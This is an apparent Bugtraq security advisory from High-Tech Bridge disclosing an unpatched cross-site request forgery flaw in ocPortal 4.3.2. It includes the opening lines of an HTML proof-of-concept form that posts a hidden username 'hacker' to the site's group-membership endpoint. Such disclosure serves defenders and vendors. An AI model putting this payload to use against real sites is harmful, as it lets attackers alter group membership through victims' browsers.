XSRF (CSRF) in ocPortal

From: advisory@htbridge.ch
To: bugtraq@securityfocus.com
Subject: XSRF (CSRF) in ocPortal

Vulnerability ID: HTB22369
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_ocportal.html
Product: ocPortal
Vendor: ocProducts Ltd
Vulnerable Version: 4.3.2 and Probably Prior Versions
Vendor Notification: 05 May 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/site/index.php" script to properly verify the source of HTTP request. 

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. 

Attacker can use browser to exploit this vulnerability. The following PoC is available: 

<form action="http://host/site/index.php?page=groups&type=add_to&id=2"  method="post"  >
<input type="hidden" name="username" value="hacker" >

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